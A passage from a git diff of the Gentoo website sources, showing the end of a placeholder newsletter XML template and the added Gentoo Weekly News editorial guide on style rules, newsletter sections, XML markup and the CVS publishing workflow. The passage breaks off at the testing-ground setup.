+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>amd64</th>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XXXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>arm</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>hppa</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>ia64</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>m68k</th>
+ <ti>XXX</ti>
+ <ti>XX</ti>
+ <ti>XXX</ti>
+ <ti>X.XX%</ti>
+</tr>
+<tr>
+ <th>mips</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>ppc</th>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>ppc64</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>s390</th>
+ <ti>XXXX</ti>
+ <ti>XX</ti>
+ <ti>XXXX</ti>
+ <ti>X.XX%</ti>
+</tr>
+<tr>
+ <th>sh</th>
+ <ti>XXXX</ti>
+ <ti>XX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>sparc</th>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>sparc-fbsd</th>
+ <ti>0</ti>
+ <ti>XXX</ti>
+ <ti>XXX</ti>
+ <ti>X.XX%</ti>
+</tr>
+<tr>
+ <th>x86</th>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XXXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+<tr>
+ <th>x86-fbsd</th>
+ <ti>0</ti>
+ <ti>XXXX</ti>
+ <ti>XXXX</ti>
+ <ti>XX.XX%</ti>
+</tr>
+</table>
+
+<figure link="/images/gmn/200XXXXX/keywords.png" short="Packages by keyword" caption="Package distribution by keyword"/>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+The following section lists packages that have either been moved or added to the
+tree. The package removals come from many locations, including the <uri
+link="/proj/en/qa/treecleaners/">Treecleaners</uri> and various developers.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Removals:</title>
+<body>
+
+<table>
+<tr>
+<th>Package:</th>
+<th>Removal date:</th>
+<th>Contact:</th>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Additions:</title>
+<body>
+
+<table>
+<tr>
+<th>Package:</th>
+<th>Addition date:</th>
+<th>Contact:</th>
+</tr>
+</table>
+
+</body>
+</section>
+
+<!-- paste from the last rites script -->
+<!-- On hiatus :( -->
+</chapter>
+
+<!-- Bugzilla -->
+<chapter>
+<title>Bugzilla</title>
+
+<section>
+<title>Statistics</title>
+<body>
+
+<p>
+The Gentoo community uses Bugzilla
+(<uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>) to record
+and track bugs, notifications, suggestions and other interactions
+with the development team. The following chart summarizes activity on
+Bugzilla between XX Month 200X and XX Month 200X.
+</p>
+
+<figure link="/images/gmn/200XXXXX/activity.png" short="Bug activity" caption="Bug activity split-up"/>
+
+<p>
+Of the <b>XXXXX</b> currently open bugs: <b>XX</b> are labeled <e>blocker</e>,
+<b>XXX</b> are labeled <e>critical</e>, and <b>XXX</b> are labeled <e>major</e>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Closed bug ranking</title>
+<body>
+
+<p>
+The developers and teams who have closed the most bugs during this period are as
+follows.
+</p>
+
+<table>
+<tr>
+  <th>Rank</th>
+  <th>Developer/Team</th>
+  <th>Bug Count</th>
+</tr>
+</table>
+
+<figure link="/images/gmn/200XXXXX/closed.png" short="Bugs closed" caption="Bug closed rankings"/>
+
+</body>
+</section>
+
+<section>
+<title>Assigned bug ranking</title>
+<body>
+
+<p>
+The developers and teams who have been assigned the most bugs during this period are as follows.
+</p>
+
+<table>
+<tr>
+  <th>Rank</th>
+  <th>Developer/Team</th>
+  <th>Bug Count</th>
+</tr>
+</table>
+
+<figure link="/images/gmn/200XXXXX/opened.png" short="Bugs assigned" caption="Bugs assigned rankings"/>
+
+</body>
+</section>
+</chapter>
+
+<!-- GMN feedback information -->
+<chapter>
+<title>Getting Involved</title>
+<section>
+<body>
+
+<p>
+The GMN relies on volunteers and members of the community for content every
+month.  If you are interested in writing for the GMN, do write in to
+<mail>gmn-writers@gentoo.org</mail> with your articles in plaintext or GuideXML
+format.
+</p>
+
+<!-- Don't forget to change the deadline date -->
+<note>
+The deadline for articles to be published in the next issue is
+<b><e>Month XX, 200X</e></b>.
+</note>
+
+<p>
+We solicit feedback from all our readers on the newsletter. If you have any
+ideas for articles, sections, or have anything to say about the GMN, don't
+hesitate to email us at <mail>gmn-feedback@gentoo.org</mail>.
+</p>
+
+<!-- Don't forget to change the forum link -->
+<p>
+You can also give us your feedback and comment on this particular issue of the
+GMN on the <uri link="http://forums.gentoo.org/viewtopic-p-5200246.html">forum
+thread</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<!-- GMN subscription information -->
+<chapter>
+<title>GMN subscription information</title>
+<section>
+<body>
+
+<p>
+To subscribe to the Gentoo Monthly Newsletter, send a blank e-mail to
+<mail>gentoo-gmn+subscribe@gentoo.org</mail>.
+</p> 
+
+<p>
+To unsubscribe to the Gentoo Monthly Newsletter, send a blank e-mail to
+<mail>gentoo-gmn+unsubscribe@gentoo.org</mail> from the e-mail address you are
+subscribed under.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- Other Languages -->
+<chapter>
+<title>Other languages</title>
+<section>
+<body>
+
+<p>
+The Gentoo Monthly Newsletter is available in the following languages:
+</p>
+
+<ul>
+ <li><uri link="/news/en/gmn/index.xml">English</uri></li>
+ <li><uri link="/news/de/gmn/index.xml">German</uri></li>
+ <li><uri link="/news/it/gmn/index.xml">Italian</uri></li>
+ <li><uri link="/news/ja/gmn/">Japanese</uri></li>
+ <li><uri link="/news/pl/gmn/index.xml">Polish</uri></li>
+ <li><uri link="/news/es/gmn/index.xml">Spanish</uri></li>
+ <li><uri link="/news/zh_cn/gmn/index.xml">Simplified Chinese</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/gwn/gwn-guide.xml b/xml/htdocs/proj/en/pr/gwn/gwn-guide.xml
new file mode 100644
index 00000000..4f1c9251
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/gwn/gwn-guide.xml
@@ -0,0 +1,836 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/gwn/gwn-guide.xml,v 1.1 2007/02/05 14:22:42 wolf31o2 Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "gwn-guide.xml" lang="en">
+<title>Gentoo Weekly News guide</title>
+<author title="Author">
+  <mail link="plate@gentoo.org">Ulrich Plate</mail>
+</author>
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+This guide documents the GWN release process, from authoring individual
+articles to posting the finished product on the website. The guide's primary 
+purpose is to ensure continuous GWN releases independent of possible fall-offs 
+and hiatuses.
+</abstract>
+
+<version>1.0</version>
+<date>2005-12-10</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>The GWN manifesto</title>
+<body>
+<p>
+The <uri link="http://www.gentoo.org/news/en/gwn/gwn.xml">Gentoo Weekly Newsletter 
+(GWN)</uri> was founded in December 2002 with the purpose of reporting news from the 
+Gentoo project, and to provide a two-way communication conduit between the developers 
+and the Gentoo community.
+</p>
+<p>
+As an official PR subproject, the GWN has two main roles to fulfill. It's a 
+propaganda instrument with the aim of promoting Gentoo as a whole, by forming a 
+public image of a highly dynamic, technologically advanced, ambitious project. The
+second role, equally important, is its community-building aspect, by making Gentoo 
+accessible to users, transparent in its movements, and eventually attractive enough 
+to facilitate the recruiting of new developers.
+</p>
+<p>
+While being an official publication, the GWN doesn't necessarily reflect opinions
+of the Gentoo Foundation trustees, or the Gentoo Council, or a majority of developers, 
+or any other steering committee. It's an independent voice within the boundary of its 
+voluntary adherence to the Gentoo Social Contract and the ethics of journalism.
+</p>
+<p>
+The GWN is written by Gentoo developers, users, amateurs or sometimes even external
+authors not affiliated with Gentoo in any way other than by submitting an article
+to the GWN. The editor is responsible for keeping contributions within the guidelines,
+and looks after ethical and/or legal implications. The newsletter is published under the 
+same Creative Commons license as the documentation on the website.
+</p>
+<table>
+<tr>
+<th colspan="2">GWN editors to date</th>
+</tr>
+<tr>
+<ti><mail link="klieber@gentoo.org">Kurt Lieber</mail></ti>
+<ti>December 2002 - June 2003</ti>
+</tr>
+<tr>
+<ti>Yuji Carlos Kosugi</ti>
+<ti>July 2003 - September 2004</ti>
+</tr>
+<tr>
+<ti><mail link="plate@gentoo.org">Ulrich Plate</mail></ti>
+<ti>Since September 2004</ti>
+</tr>
+</table>
+</body>
+</section>
+<section>
+<title>Best practices</title>
+<body>
+<p>
+There never was much in terms of rules set forth by the editors of the GWN. The GWN 
+authors have always based their contributions on implicit understanding rather than 
+explicit editorial guidelines. However, some of the best practices that have proven their 
+usefulness can be summarized in a few bullet points:
+</p>
+<ul>
+<li>
+The GWN has been published in American English since its first issue. Purely 
+for consistency reasons, we continue to write "favorite" rather than "favourite", 
+prefer to "organize" and not "organise" things, and would probably call a "jumper"
+a "sweater."
+</li>
+<li>Punctuation also follows American typography rules. Readers 
+outside the US may not feel entirely comfortable with a period to the <e>left</e>
+of an end-of-quotation mark, but that's how it's done in American English, even when 
+it's only a single word that's being quoted.
+</li>
+<li>
+"Gentoo" is a generic term to be used in a number of combinations. As of 
+itself, it's encompassing everything that's being done in and around the project, 
+and can be used to refer to the "Gentoo community," the "Gentoo subprojects," the "Gentoo 
+fan clubs," the "Gentoo metadistribution," the "Gentoo way of life." Then we have 
+distinct projects that take a name of their own, like the legal bodies and a few
+tangible or political manifestations, e.g. Gentoo {Linux|*BSD|for Mac
+OS X} etc., Gentoo {Foundation|Inc.} or Gentoo {Forums|Council}. Only those 
+proper names are capitalized.</li>
+<li>
+Speaking of which, capitalization inside headlines is generally frowned upon. We Don't Do That.
+</li>
+<li>
+Pictures need to be related to the article they appear inside. Their size is 
+limited to 600x450 pixels and a maximum of 100KB. If the copyright of an image
+lies not with the Gentoo Foundation, a note naming the photographer or the 
+copyright holder is added below.
+</li>
+<li>
+ISO standards are followed wherever we can, including currencies ("USD" rather than
+"dollars" or "$", "JPY" not "Yen" and so on), dates are always written in day 
+(numerical), month (spelt out), year (numerical) order: "12 November 2005," not 
+"11/12/05" or "Nov 12, 2005."
+</li>
+<li>
+Names are always given in first name, last name order. This includes Japanese, Korean or 
+Chinese names.
+</li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The GWN sections</title>
+<section>
+<title>First section: main Gentoo news</title>
+<body>
+
+<p>
+The top section of each GWN contains news contributions from inside the entire 
+Gentoo project. This includes status updates from projects and subprojects, 
+release information, important changes to the Portage tree, infrastructure 
+heads-ups, Gentoo-related news from sponsors, reports from major public events 
+like international trade fairs and developer conferences - in essence a wide 
+variety of things of significant importance to readers. 
+</p>
+<p>
+Contributions to this chapter are often sensitive in nature, sufficient time
+before publication should be allowed for, in order to cross-check information 
+with Gentoo developers directly involved.
+</p>
+<p>
+A special case of main news items are the project updates to be submitted by
+the project leads. Sending a weekly reminder to the various project leads 
+asking for an update (if available) helps assuring input for this category. 
+</p>
+<p>
+If need be, errata and corrections to items in earlier GWNs are appended to 
+the end of the main section, regardless of which chapter they've actually occurred in.
+</p>
+<p>
+Once finalized, all information should be bundled in XML excerpts following the
+syntax described in <uri link="#syntax">GWN XML Syntax</uri>.
+</p>
+
+<p>
+These snippets of XML code should be concatenated and sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail> (let us
+assume with the name <path>news.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Second section: feature rotation</title>
+<body>
+
+<p>
+The second section is designed to rotate through different
+categories, including: developer portraits (dev of the week), user
+stories and interviews (practical application of Gentoo in external
+projects, companies etc.), and the "Future zone" that deals with
+Gentoo-related development not entirely fit for release yet, but
+interesting enough to receive advance coverage:
+</p>
+<ul>
+<li>
+<b>Future zone</b> - New developments inside existing projects and entirely 
+new projects alike can brag about what they're currently doing, and where their 
+efforts will eventually lead. The Future zone is not limited to projects
+entirely governed by Gentoo developers, we occasionally open this space to 
+outside development -- provided it shows sufficient relevance for Gentoo, or 
+at least a promise to end up in the Portage tree at some point.
+</li>
+<li>
+<b>Developer of the week</b> - A standardized questionnaire is sent to developers
+who agree to be portrayed in this section. The monography is compiled from their
+answers and additional information at the discretion of the author. A photo is
+added at the top.
+</li>
+<li>
+<b>User stories</b> - Often contributed by people who use Gentoo professionally
+in a corporation or campus, this feature finds unusually interesting applications
+of Gentoo and exposes them to the public.
+</li>
+<li>
+<b>Interviews</b> - Same as above, except that it's conducted as a written interview.
+Answering questions is often easier for a busy CTO than writing a whole article
+all by him- or herself. A note at the top explains who is answering, the questions 
+are marked by emphasizing them ("<e>Who are you?</e>", see <uri link="#syntax">GWN 
+XML Syntax</uri> for details)
+</li>
+</ul>
+<p>
+All of these categories have in common that they go into much detail about a single
+topic, either portraying an individual or describing a project or product. They
+don't carry an explicit limit to their length, but in general shouldn't exceed a 
+third of the entire length of the GWN.
+</p>
+</body>
+</section>
+<section>
+<title>Third section: "Heard in the community"</title>
+<body>
+
+<p>
+There are various community sources. To distinguish them we use the following
+construction:
+</p>
+
+<pre caption="Community coverage">
+&lt;section&gt;
+&lt;title&gt;<i>Community Source</i>&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;&lt;b&gt;Title of community information 1&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;
+<i>Summary</i>
+&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;&lt;uri link="<i>location of source</i>"&lt;<i>Name/Title of referenced source</i>&lt;/uri&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;&lt;b&gt;Title of community information 2&lt;/b&gt;&lt;p&gt;
+<comment>...</comment>
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+This construct should be repeated for every source. Possible sources are (just
+to name a few - more are always better):
+</p>
+
+<ul>
+  <li>Web Forums - <uri>http://forums.gentoo.org</uri></li>
+  <li>gentoo-devel - <uri link="http://news.gmane.org/gmane.linux.gentoo.devel">archive</uri></li>
+  <li>gentoo-user - <uri link="http://news.gmane.org/gmane.linux.gentoo.user">archive</uri></li>
+  <li>gentoo-server - <uri link="http://news.gmane.org/gmane.linux.gentoo.server">archive</uri></li>
+  <li>alt.os.linux.gentoo - <uri link="http://http://groups.google.com/group/alt.os.linux.gentoo">archive</uri></li>
+  <li>Planet Gentoo - <uri link="http://planet.gentoo.org">Planet</uri></li>
+</ul>
+
+<p>
+For each of those sources, no more than three items per week should get 
+coverage in this section. The main purpose of this section is to point readers
+to possible sources of community information, not duplication of content. If
+several threads are dealing with the same topic, they can be appended to a 
+common abstract, with links to Howtos or additional information from 
+different sources if appropriate. Coverage per item should fit in a few lines 
+and link to either a Forum or mailing list thread, the newsgroup via Google 
+groups, or archived blog entries (permanent links only, please).
+</p>
+<p>
+The combined information (for instance <path>community.xml</path>) should be
+sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Fourth section: Gentoo international</title>
+<body>
+
+<p>
+Gentoo international gets news from around the globe, mostly regional activities 
+of Gentoo user groups, but also limited releases of Gentoo-related products, for 
+example, like a South-African web hoster switching to Gentoo on their server farm 
+etc. To prevent any misunderstanding: US activities belong here, too. International 
+news should be written as if it was generic news, it only needs to be bundled in a 
+different file (for instance <path>international.xml</path>).
+</p>
+
+<p>
+Titles are standardized to the extent that they start with the name of the country 
+and a colon, e.g. "Canada: " followed by the actual headline: 
+</p>
+
+<pre caption="Possible title for an Italian event">
+&lt;title&gt;<i>Italy:</i> Catalyst conference in Milano&lt;/title&gt;
+</pre>
+
+<p>
+Again, <path>international.xml</path> should be sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fifth section: Gentoo in the press</title>
+<body>
+<p>
+The press clippings section gathers references to Gentoo being mentioned in 
+other media. This includes newspapers and magazines, but also books, radio and
+TV coverage, PR websites that carry Gentoo-related press releases. Some sites
+are deliberately avoided, like Slashdot threads that only get coverage here when 
+there's an original debate about Gentoo, not just Gentoo mentioned five times in
+comments on some thread. Others are treated with a certain predilection, like 
+Distrowatch articles about Gentoo and its spin-offs, for example.
+</p>
+<p>
+Titles have the name of the media followed by the published date in brackets. 
+For every non-English publication (there's no limit to languages used in the
+press clippings) the language is added in the title, right after the publication
+date. 
+</p>
+<pre caption="Title for press clipping">
+&lt;title&gt;<i>Diario del Gentooista</i> (12 November 2005, in Spanish)&lt;/title&gt;
+</pre>
+<p>
+The abstract always quotes a couple of ideas from the article, but it's 
+also supposed to put things into perspective for readers with a stronger Gentoo 
+affiliation than the average public. If an article (or video or any other trace)
+is available on the Internet, a link should be included in the abstract, not in 
+the title. Sites that require registration before allowing access to the content
+that's referenced here should best be avoided altogether, or, if that's impossible, 
+clearly marked as such.
+</p>
+</body>
+</section>
+<section>
+<title>Tips and Tricks</title>
+<body>
+
+<p>
+Tips and tricks can be constructed using regular sections (see <uri
+link="#syntax">GWN XML Syntax</uri>). Send the tips to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail> in a
+single file (<path>tips.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Moves, Adds, and Changes</title>
+<body>
+
+<p>
+The following XML construction should be used:
+</p>
+
+<pre caption="Moves construction">
+&lt;section&gt;
+&lt;title&gt;Moves&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+The following developers recently left the Gentoo team:
+&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;<i>Some developer, or &lt;e&gt;None this week&lt;/e&gt;</i>&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+Repeat for <c>Adds</c> and <c>Changes</c> and change accordingly.
+</p>
+
+<p>
+The result should be combined and sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>
+(<path>teamchanges.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo security</title>
+<body>
+
+<p>
+The <uri link="glsa2gwn.py">glsa2gwn.py</uri> script should be used to create
+the necessary sections for the GLSAs. Just run the following command for each
+GLSA issued in the last week:
+</p>
+
+<pre caption="Running glsa2gwn.py">
+$ <i>glsa2gwn.py /path/to/some/glsa.xml &gt;&gt; security.xml</i>
+</pre>
+
+<p>
+Then send <path>security.xml</path> to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+The bug statistics section of the GWN is entirely driven by a script called 
+<uri link="bugs2gwn.py">bugs2gwn.py</uri>. Written by AJ Armstrong and modified only slightly 
+since its initial version, it dumps various information directly from <uri 
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, performs calculations over a seven day
+period and concatenates the output for use in the GWN. Run the script:
+</p>
+<pre caption="Bugzilla section script">
+# <i>bugs2gwn.py &gt; bugsYYYYMMDD.xml</i>
+</pre>
+<p>
+and send the resulting file to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating the GWN</title>
+<section>
+<title>Combining all chapters</title>
+<body>
+
+<p>
+This is the job of the <e>editor</e>. Make sure you have all the appropriate files 
+that were sent to gentoo-gwn-admin@gentoo.org in your vicinity -- you'll need them.
+</p>
+
+<p>
+We start off with a <uri link="template.txt">template</uri> for the GWN. Copy it
+to <path>YYYYMMDD-newsletter.xml</path> with of course YYYYMMDD the release date
+of the GWN. The file is commented heavily, but I'll give an overview for 
+completeness sake:
+</p>
+
+<ul>
+  <li>Fill in the release date under <c>subtitle</c></li>
+  <li>
+    Fill in the appropriate authors for this week's GWN. 
+  </li>
+  <li>
+    Fill in the <c>abstract</c> of the GWN. If you need an example, check the 
+    news items on Gentoo's main page
+  </li>
+  <li>
+    Increase the volume/issue inside <c>version</c>
+  </li>
+  <li>
+    Set the release date in <c>date</c>, the correct format is yyyy-mm-dd.
+  </li>
+  <li>
+    Include the various files sent to gentoo-gwn-admin@gentoo.org
+  </li>
+  <li>
+    Double-check the list of available translations
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verifying the GWN</title>
+<body>
+
+<p>
+Store the file inside your <uri link="#testing">testing ground</uri>. At the
+same time, store the image of the developer (of the "Featured Developer of the
+Week") inside <path>gwn/images/gwn</path>.
+</p>
+
+<p>
+Now verify and test your GWN edition.
+</p>
+
+</body>
+</section>
+<section>
+<title>Proofreading the GWN</title>
+<body>
+<p>
+Time permitting, you should always send a draft of the upcoming issue to two mailing
+lists, gentoo-gwn-admin@gentoo.org and gentoo-core@gentoo.org. Try to aim for a time
+of day when sufficient numbers of native English speakers are available, six to 
+eight hours ahead of publication are good practice, albeit seldom practical. Proofreaders
+aren't bound to any particular format, they can send fully-fledged patches, <c>sed</c> style
+"<path>s/foo/bar</path>" sniplets or other corrections to the text.
+</p>
+</body>
+</section>
+<section>
+<title>Publishing the GWN</title>
+<body>
+
+<p>
+The publication date of the GWN is set to 0:00 UTC on Monday of each week. Try to conform
+to this as much as possible, there are automatic scripts in the wild that trigger on the 
+GWN's publication, for example to reference the new issue in other media. If the deadline
+is missed by too much of a delay, we risk dropping out of those backtracks.
+</p>
+<p>
+Publishing the GWN is done in steps. First, create the text version of the GWN.
+A script called gwnproc.py is used for this, with a separate xsl file that
+provides the formatting for plain text output.
+</p>
+
+<pre caption="Creating the text version of the GWN">
+$ <i>gwnproc.py YYYYMMDD-newsletter.xml &gt; YYYYMMDD-newsletter.txt</i>
+</pre>
+
+<p>
+Edit the resulting <path>YYYYMMDD-newsletter.txt</path> file so that it reads
+fluently. Pay attention to the links in the Bugzilla statistics section, the 
+script folds lines after 75 characters, which is a nuisance to mail clients
+if you don't put those links back on a single line.
+</p>
+
+<p>
+Next, commit the image(s) and the GWN files to CVS:
+</p>
+
+<pre caption="Committing to CVS, part I">
+<comment>(The image(s))</comment>
+$ <i>cp gwn/images/gwn/YYYYMMDD-nickname.jpg cvs/gentoo/xml/images/gwn</i>
+$ <i>cd cvs/gentoo/xml/images/gwn</i>
+$ <i>cvs -ko add YYYYMMDD-nickname.jpg</i>
+$ <i>cvs commit -m 'Image of nickname' YYYYMMDD-nickname.jpg</i>
+$ <i>cd</i>
+</pre>
+
+<p>
+The GWN overview page references the current issue of the GWN separately. You
+need to duplicate the <path>YYYYMMDD-newsletter.xml</path> file as 
+<path>current.xml</path> and submit both to CVS.
+</p>
+<pre caption="Committing to CVS, part II">
+$ <i>cp gwn/YYYYMMDD-newsletter.xml cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cd cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cvs add YYYYMMDD-newsletter.xml</i>
+$ <i>cp YYYYMMDD-newsletter.xml current.xml</i>
+$ <i>cvs commit -m 'GWN release for YYYYMMDD' YYYYMMDD-newsletter.*</i>
+</pre>
+
+<p>
+Add an entry for the current issue to the GWN overview file, <path>gwn.xml</path>
+in the same directory. This is a list of the main news items inside the newsletter
+conforming to the format found in the table, and very important because the RSS
+feed uses this entry as its title.
+</p>
+<pre caption="Committing to CVS, part III">
+$ <i>vi cvs/gentoo/xml/htdocs/news/en/gwn</i>
+<comment>Edit the table and add an entry for the current issue</comment>
+$ <i>cd cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cvs commit -m 'GWN overview updated' gwn.xml</i>
+</pre>
+<p>
+Write a news item for this week's GWN. You can use this <uri
+link="template-news.txt">template</uri>. Rename to
+<path>YYYYMMDD-gwn.xml</path>, edit and then commit it to CVS to publish it
+online:
+</p>
+
+<pre caption="Committing the news item">
+$ <i>cp gwn/template-news.txt cvs/gentoo/xml/htdocs/news/YYYYMMDD-gwn.xml</i>
+$ <i>cd cvs/gentoo/xml/htdocs/news</i>
+$ <i>cvs add YYYYMMDD-gwn.xml</i>
+$ <i>cvs commit -m 'GWN YYYYMMDD is available' YYYYMMDD-news.xml</i>
+$ <i>cd</i>
+</pre>
+
+<p>
+After committing all xml files and images to CVS, the synchronization to the 
+web mirrors takes up to one hour. You should wait for this to happen before
+sending out the plain text version of the current GWN through the 
+<path>gentoo-gwn@gentoo.org</path> mailing list. Open your
+favorite mail client and put the text <e>inside</e> the body of your e-mail.
+Subject it with the appropriate date (modeled after this: "Gentoo Weekly 
+Newsletter 12 November 2005") and send it out. The mailing list is moderated, so 
+you need to reply to the moderation request it sends to you before the GWN is 
+finally dispatched to the list's subscribers.
+</p>
+
+<p>
+Congratulations; you have now successfully released a GWN :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="syntax">
+<title>GWN XML Syntax</title>
+<section>
+<title>Single sections</title>
+<body>
+
+<p>
+Single sections, such as used by news items, should be constructed like this:
+</p>
+
+<pre caption="Syntax for news items">
+&lt;section&gt;
+&lt;title&gt;<i>Title of the News Item</i>&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+<i>One paragraph.</i>
+&lt;/p&gt;
+
+&lt;p&gt;
+<i>Multiple paragraphs are of course encouraged :)</i>
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+Inside &lt;p&gt; constructs one can use:
+</p>
+
+<ul>
+  <li>&lt;e&gt;...&lt;/e&gt; for <e>emphasised text</e></li>
+  <li>&lt;c&gt;...&lt;/c&gt; for <c>commands</c> users can type</li>
+  <li>&lt;b&gt;...&lt;/b&gt; for <b>bold text</b></li>
+  <li>
+    &lt;uri link="http://www.gentoo.org"&gt;some link&lt;/uri&gt; for 
+    <uri link="http://www.gentoo.org">some link</uri>
+  </li>
+  <li>
+    &lt;mail link="some@address.com"&gt;name of person&lt;/mail&gt; is used for
+    e-mail addresses
+  </li>
+</ul>
+
+<p>
+Apart from &lt;p&gt; one can also use lists like the above. This is accomplished
+through &lt;ul&gt; (unnumbered) or &lt;ol&gt; (numbered) constructs:
+</p>
+
+<pre caption="Using a list construct">
+&lt;ul&gt;
+  &lt;li&gt;
+    <i>Inline text like with &lt;p&gt; constructs</i>
+  &lt;/li&gt;
+  &lt;li&gt;
+    <i>Another bullet</i>
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using code listings</title>
+<body>
+
+<p>
+A code listing can be put wherever one would be able to place &lt;p&gt;
+constructions - <e>not inside them!</e>. Code listings provide <e>no</e> word
+wrapping - if you place everything on a single line the result will be a
+document that forces the user to scroll horizontally!
+</p>
+
+<p>
+Inside a code listing, the following XML constructs are allowed:
+</p>
+
+<ul>
+  <li>&lt;comment&gt;...&lt;/comment&gt; color the text in red</li>
+  <li>&lt;i&gt;...&lt;/i&gt; color the text in blue (used for commands)</li>
+</ul>
+
+<p>
+A code listing is created with the &lt;pre&gt; tag:
+</p>
+
+<pre caption="Example pre">
+&lt;pre caption="Example pre"&gt;
+# &lt;i&gt;some command&lt;/i&gt;
+&lt;/pre&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Adding illustrations to articles</title>
+<body>
+<p>
+Pictures (only .jpg or .png, please) accompany articles or interview according 
+to the following syntax. Again, &lt;figure&gt; constructs can be put wherever 
+one would be able to place &lt;p&gt; constructions.
+</p>
+<pre caption="XML Syntax for adding a picture">
+&lt;figure link="<i>/images/gwn/YYYYMMDD_nickname.jpg</i>"
+        short="<i>Full Name</i>"
+	caption="<i>Full Name</i>" /&gt;
+</pre>
+
+<p>
+The naming convention for images in the GWN is <path>YYYYMMDD_name.jpg</path> (or .png) with
+<path>YYYYMMDD</path> the year-month-day of the GWN release and
+<path>name</path> a single word best describing the picture, i.e. the nickname of a developer,
+a trade fair acronym etc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="testing">
+<title>Testing Ground</title>
+<section>
+<title>Preparation</title>
+<body>
+
+<p>
+Create a directory <path>~/gwn</path>. Inside that directory, create the
+<path>dtd/</path>, <path>css/</path>, <path>xsl/</path> and 
+<path>/images</path> directories.
+</p>
+
+<pre caption="Creating the directories">
+$ <i>mkdir -p gwn/css gwn/dtd gwn/xsl gwn/images/gwn</i>
+</pre>
+
+<p>
+Execute the following downloading instructions to download the specific XSL
+file, DTD, CSS and images:
+</p>
+
+<pre caption="Storing the required files">
